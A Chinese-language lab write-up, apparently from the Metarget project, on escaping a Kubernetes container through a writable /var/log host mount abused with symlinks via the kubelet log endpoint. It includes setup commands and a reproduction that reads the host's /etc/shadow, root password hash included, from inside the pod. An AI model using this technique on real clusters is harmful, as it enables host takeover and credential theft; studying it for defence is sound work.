【场景类型】

    容器逃逸 - 危险挂载

    【背景介绍】
    当pod以可写权限挂载了宿主机的/var/log目录,而且pod里的service account有权限访问该pod在宿主机上的日志时,攻击者可以通过在容器内创建符号链接来完成简单逃逸

    【漏洞原理】__

    🐞挂载/var/log导致容器逃逸 - 图1

    kubelet会在宿主机上的/var/log目录中创建一个目录结构,如图符号①,代表节点上的pod。但它实际上是一个符号链接,指向/var/lib/docker/containers目录中的容器日志文件。当使用kubectl logs 命令查询指定pod的日志时,实际上是向kubelet的/logs/pods/接口发起HTTP请求。对于该请求的处理逻辑如下:

    kubernetes\pkg\kubelet\kubelet.go:1371

    1. if kl.logServer == nil {
    2. kl.logServer = http.StripPrefix("/logs/", http.FileServer(http.Dir("/var/log/")))
    3. }

    kubelet会解析该请求地址,去/var/log对应的目录下读取log文件并返回。当pod以可写权限挂载了宿主机上的/var/log目录时,可以在该路径下创建一个符号链接,指向宿主机的根目录,然后构造包含该符号链接的恶意kubelet请求,宿主机在解析时会解析该符号链接,导致可以读取宿主机任意文件和目录__

    【环境搭建】

    • 任意版本的docker和k8s
    1. ./metarget gadget install docker --version 18.03.1./metarget gadget install k8s --version 1.16.5 --domestic
    • 漏洞环境搭建
    1. root@zyliang:~/metarget# ./metarget cnv install mount-var-logdocker already installedkubernetes already installedmount-var-log is going to be installedapplying yamls/k8s_metarget_namespace.yamlapplying vulns_cn/mounts/pods/mount-var-log.yamlmount-var-log successfully installed
    2. root@zyliang:~/metarget# kubectl get pod -n metargetNAME READY STATUS RESTARTS AGEdvwa-web-86b6ccdc69-5cvld 1/1 Running 6 9dmount-var-log 1/1 Running 0 15m

    执行完成后,K8s集群内metarget命令空间下将会创建一个名为mount-var-log的pod。宿主机的/var/log被挂载在容器内部且该pod有权限访问日志。

    【漏洞复现】

    pod内部已经内置好漏洞利用代码,可通过自定义命令读取宿主机的任意文件或目录。在Pod内可执行以下两种命令:

    :::color2

    lsh等于宿主机上的ls cath等于宿主机上的cat

    :::

    • 容器内cat shadow文件
    1. root@zyliang:~/metarget# kubectl exec -ti mount-var-log -n metarget bash
    2. root@mount-var-log:~/exploit# cat /etc/shadow
    3. root:*:18057:0:99999:7:::
    4. daemon:*:18057:0:99999:7:::
    5. bin:*:18057:0:99999:7:::
    6. sys:*:18057:0:99999:7:::
    7. sync:*:18057:0:99999:7:::
    8. games:*:18057:0:99999:7:::
    9. man:*:18057:0:99999:7:::
    10. lp:*:18057:0:99999:7:::
    11. mail:*:18057:0:99999:7:::
    12. news:*:18057:0:99999:7:::
    13. uucp:*:18057:0:99999:7:::
    14. proxy:*:18057:0:99999:7:::
    15. www-data:*:18057:0:99999:7:::
    16. backup:*:18057:0:99999:7:::
    17. list:*:18057:0:99999:7:::
    18. irc:*:18057:0:99999:7:::
    19. gnats:*:18057:0:99999:7:::
    20. nobody:*:18057:0:99999:7:::
    21. _apt:*:18057:0:99999:7:::
    • 容器内cath shadow
    1. root@mount-var-log:~/exploit# cath /etc/shadow
    2. root:$6$BuIsoQdT$z0L74b3FxmjBD9DWZkfhvDPZvOMdWOf57Vglb.MqsYX5WfSxKJuvuAkYo.rdwtZYofPOL3QmKgHhIAVj7OOyi1:18744:0:99999:7:::
    3. daemon:*:18744:0:99999:7:::
    4. bin:*:18744:0:99999:7:::
    5. sys:*:18744:0:99999:7:::
    6. sync:*:18744:0:99999:7:::
    7. games:*:18744:0:99999:7:::
    8. man:*:18744:0:99999:7:::
    9. lp:*:18744:0:99999:7:::
    10. mail:*:18744:0:99999:7:::
    11. news:*:18744:0:99999:7:::
    12. uucp:*:18744:0:99999:7:::
    13. proxy:*:18744:0:99999:7:::
    14. www-data:*:18744:0:99999:7:::
    15. backup:*:18744:0:99999:7:::
    16. list:*:18744:0:99999:7:::
    17. irc:*:18744:0:99999:7:::
    18. gnats:*:18744:0:99999:7:::
    19. nobody:*:18744:0:99999:7:::
    20. systemd-network:*:18744:0:99999:7:::
    21. systemd-resolve:*:18744:0:99999:7:::
    22. syslog:*:18744:0:99999:7:::
    23. messagebus:*:18744:0:99999:7:::
    24. _apt:*:18744:0:99999:7:::
    25. uuidd:*:18744:0:99999:7:::
    26. sshd:*:18744:0:99999:7:::
    27. Debian-snmp:!:18744:0:99999:7:::
    • 宿主机cat shadow文件
    1. root@zyliang:~/metarget# cat /etc/shadow
    2. root:$6$BuIsoQdT$z0L74b3FxmjBD9DWZkfhvDPZvOMdWOf57Vglb.MqsYX5WfSxKJuvuAkYo.rdwtZYofPOL3QmKgHhIAVj7OOyi1:18744:0:99999:7:::
    3. daemon:*:18744:0:99999:7:::
    4. bin:*:18744:0:99999:7:::
    5. sys:*:18744:0:99999:7:::
    6. sync:*:18744:0:99999:7:::
    7. games:*:18744:0:99999:7:::
    8. man:*:18744:0:99999:7:::
    9. lp:*:18744:0:99999:7:::
    10. mail:*:18744:0:99999:7:::
    11. news:*:18744:0:99999:7:::
    12. uucp:*:18744:0:99999:7:::
    13. proxy:*:18744:0:99999:7:::
    14. www-data:*:18744:0:99999:7:::
    15. backup:*:18744:0:99999:7:::
    16. list:*:18744:0:99999:7:::
    17. irc:*:18744:0:99999:7:::
    18. gnats:*:18744:0:99999:7:::
    19. nobody:*:18744:0:99999:7:::
    20. systemd-network:*:18744:0:99999:7:::
    21. systemd-resolve:*:18744:0:99999:7:::
    22. syslog:*:18744:0:99999:7:::
    23. messagebus:*:18744:0:99999:7:::
    24. _apt:*:18744:0:99999:7:::
    25. uuidd:*:18744:0:99999:7:::
    26. sshd:*:18744:0:99999:7:::
    27. Debian-snmp:!:18744:0:99999:7:::

    【参考链接】

    1. https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-var-log